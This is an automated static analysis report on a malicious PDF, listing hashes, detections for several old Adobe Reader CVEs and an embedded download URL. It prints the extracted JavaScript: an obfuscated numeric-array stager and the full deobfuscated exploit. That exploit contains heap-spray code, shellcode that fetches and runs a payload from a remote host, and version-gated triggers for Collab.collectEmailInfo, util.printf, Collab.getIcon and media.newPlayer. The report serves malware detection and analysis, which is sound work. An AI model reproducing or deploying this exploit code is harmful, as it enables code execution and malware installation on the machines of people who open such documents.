Malicious PDF — malware analysis report

Static analysis result for SHA-256 4c67f990bb66e867…

MALICIOUS

PDF

15.8 KB Authoring application: sli First seen: 2012-07-12
MD5: b2ea5ff8072c4f4d76daf5390da8d9a3 SHA-1: 35cb8e025eef7b642156bd434e802517bb4acafc SHA-256: 4c67f990bb66e8673f995c8fec625e4b64826f966ec3ea9667590ed415220eb0
610 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 13

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Exploit.Dropped-91 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Dropped-91
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Large character-table JavaScript eval stager high PDF_JS_LARGE_CHAR_TABLE_EVAL_STAGER
    PDF JavaScript contains a large numeric index array, a short character table, an indirect eval sink, and a long loop that reconstructs a hidden stage. This is an exploit-kit staging technique even when the recovered first stage is still encoded.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://adjust.combinebulk.info/w.php?f=5e91c&e=3 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x3FE 14907 bytes
SHA-256: 24f9b74a4966f2ff37d33b10f3bb4b5e69fdad8fffdca92acae189b19e91c623
Detection
ClamAV: Pdf.Exploit.Agent-36839
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
function test2(){v=ar[z];s=s+cc[v];}
ar=[50,
69,
46,
31,
72,
51,
2,
53,
6,
47,
66,
66,
2,
53,
24,
32,
26,
15,
2,
53,
6,
59,
24,
32,
2,
53,
34,
59,
26,
15,
2,
53,
26,
67,
47,
15,
2,
53,
47,
47,
59,
24,
2,
53,
66,
15,
32,
36,
2,
53,
15,
36,
6,
50,
2,
53,
6,
50,
47,
36,
2,
53,
36,
32,
15,
36,
2,
53,
34,
36,
6,
50,
2,
53,
59,
66,
43,
32,
2,
53,
34,
66,
6,
50,
2,
53,
47,
47,
36,
6,
2,
53,
66,
66,
42,
50,
2,
53,
59,
26,
6,
50,
2,
53,
36,
47,
47,
32,
2,
53,
47,
47,
34,
15,
2,
53,
6,
43,
30,
32,
2,
53,
43,
59,
26,
26,
2,
53,
24,
24,
43,
36,
2,
53,
50,
6,
24,
24,
2,
53,
15,
36,
6,
50,
2,
53,
32,
47,
47,
36,
2,
53,
47,
67,
15,
66,
2,
53,
34,
59,
36,
66,
2,
53,
6,
34,
24,
50,
2,
53,
30,
15,
47,
15,
2,
53,
26,
15,
6,
59,
2,
53,
59,
43,
34,
59,
2,
53,
26,
50,
26,
67,
2,
53,
59,
43,
15,
32,
2,
53,
6,
50,
59,
66,
2,
53,
47,
32,
34,
59,
2,
53,
34,
15,
6,
50,
2,
53,
34,
6,
47,
59,
2,
53,
24,
59,
36,
47,
2,
53,
6,
50,
59,
66,
2,
53,
30,
36,
34,
66,
2,
53,
24,
59,
36,
47,
2,
53,
32,
67,
47,
47,
2,
53,
15,
43,
15,
67,
2,
53,
9,
42,
24,
32,
2,
53,
32,
59,
36,
47,
2,
53,
42,
50,
47,
47,
2,
53,
50,
26,
36,
24,
2,
53,
47,
6,
43,
36,
2,
53,
34,
15,
24,
30,
2,
53,
32,
43,
36,
6,
2,
53,
36,
42,
32,
50,
2,
53,
42,
9,
36,
47,
2,
53,
26,
50,
15,
36,
2,
53,
47,
50,
24,
43,
2,
53,
34,
59,
43,
24,
2,
53,
59,
26,
26,
66,
2,
53,
59,
26,
6,
50,
2,
53,
36,
47,
30,
15,
2,
53,
66,
66,
42,
42,
2,
53,
36,
32,
6,
50,
2,
53,
6,
42,
15,
50,
2,
53,
26,
32,
15,
66,
2,
53,
59,
15,
24,
24,
2,
53,
36,
32,
30,
15,
2,
53,
42,
6,
6,
50,
2,
53,
42,
42,
36,
47,
2,
53,
36,
15,
6,
50,
2,
53,
36,
47,
6,
50,
2,
53,
9,
50,
32,
59,
2,
53,
59,
67,
59,
26,
2,
53,
26,
50,
32,
47,
2,
53,
9,
42,
59,
47,
2,
53,
66,
6,
6,
50,
2,
53,
6,
36,
30,
36,
2,
53,
36,
32,
34,
42,
2,
53,
34,
15,
47,
47,
2,
53,
67,
66,
36,
47,
2,
53,
24,
47,
26,
50,
2,
53,
66,
6,
6,
50,
2,
53,
6,
50,
36,
6,
2,
53,
66,
9,
24,
34,
2,
53,
59,
67,
36,
59,
2,
53,
67,
6,
26,
6,
2,
53,
24,
24,
24,
24,
2,
53,
26,
30,
24,
24,
2,
53,
26,
6,
24,
67,
2,
53,
36,
36,
36,
36,
2,
53,
36,
36,
36,
36,
2,
53,
59,
36,
59,
6,
2,
53,
15,
36,
66,
9,
2,
53,
24,
24,
66,
6,
2,
53,
36,
36,
36,
36,
2,
53,
59,
36,
36,
36,
2,
53,
32,
36,
6,
47,
2,
53,
59,
36,
43,
67,
2,
53,
6,
50,
59,
59,
2,
53,
6,
50,
26,
32,
2,
53,
43,
36,
59,
26,
2,
53,
32,
47,
6,
47,
2,
53,
24,
24,
36,
59,
2,
53,
66,
6,
26,
47,
2,
53,
66,
26,
66,
24,
2,
53,
36,
36,
36,
36,
2,
53,
34,
59,
66,
6,
2,
53,
66,
32,
34,
30,
2,
53,
59,
15,
66,
42,
2,
53,
43,
66,
24,
24,
2,
53,
32,
15,
6,
47,
2,
53,
6,
50,
36,
6,
2,
53,
26,
6,
26,
6,
2,
53,
24,
24,
66,
43,
2,
53,
24,
24,
24,
24,
2,
53,
36,
30,
26,
50,
2,
53,
34,
30,
26,
50,
2,
53,
26,
32,
6,
43,
2,
53,
36,
43,
36,
15,
2,
53,
36,
36,
36,
36,
2,
53,
59,
32,
6,
42,
2,
53,
36,
32,
30,
15,
2,
53,
36,
15,
32,
34,
2,
53,
34,
30,
30,
15,
2,
53,
66,
34,
66,
59,
2,
53,
32,
34,
34,
47,
2,
53,
30,
15,
15,
15,
2,
53,
34,
66,
36,
15,
2,
53,
47,
47,
34,
30,
2,
53,
32,
34,
47,
30,
2,
53,
30,
15,
15,
15,
2,
53,
30,
36,
36,
6,
2,
53,
34,
47,
30,
42,
2,
53,
59,
47,
30,
36,
2,
53,
24,
6,
66,
6,
2,
53,
36,
36,
36,
36,
2,
53,
24,
24,
36,
36,
2,
53,
36,
32,
59,
66,
2,
53,
26,
6,
6,
50,
2,
53,
32,
67,
47,
47,
2,
53,
32,
34,
59,
43,
2,
53,
43,
42,
15,
15,
2,
53,
34,
34,
36,
36,
2,
53,
66,
30,
34,
36,
2,
53,
32,
34,
34,
15,
2,
53,
43,
42,
15,
15,
2,
53,
30,
26,
36,
59,
2,
53,
66,
32,
66,
15,
2,
53,
32,
66,
66,
32,
2,
53,
43,
42,
15,
15,
2,
53,
36,
36,
36,
67,
2,
53,
6,
9,
59,
67,
2,
53,
36,
15,
32,
43,
2,
53,
6,
6,
47,
36,
2,
53,
43,
42,
15,
15,
2,
53,
15,
43,
36,
15,
2,
53,
66,
9,
59,
43,
2,
53,
66,
9,
36,
36,
2,
53,
59,
47,
36,
36,
2,
53,
66,
9,
59,
34,
2,
53,
24,
24,
36,
36,
2,
53,
43,
15,
59,
66,
2,
53,
32,
36,
6,
59,
2,
53,
43,
66,
34,
59,
2,
53,
36,
36,
66,
9,
2,
53,
24,
24,
59,
47,
2,
53,
36,
15,
59,
66,
2,
53,
36,
36,
66,
9,
2,
53,
26,
50,
6,
47,
2,
53,
59,
…
array_char_table_stage_000.js deobfuscated-js array character-table decoded JavaScript at offset 0x42A 3884 bytes
SHA-256: b20fd0923553d960aa98eb0144b7c41abe3b016ea36562ef79c98b6fb9f658db
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u612f%u6a64%u7375%u2e74%u6f63%u626d%u6e69%u6265%u6c75%u2e6b%u6e69%u6f66%u772f%u702e%u7068%u663f%u353d%u3965%u6331%u6526%u333d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}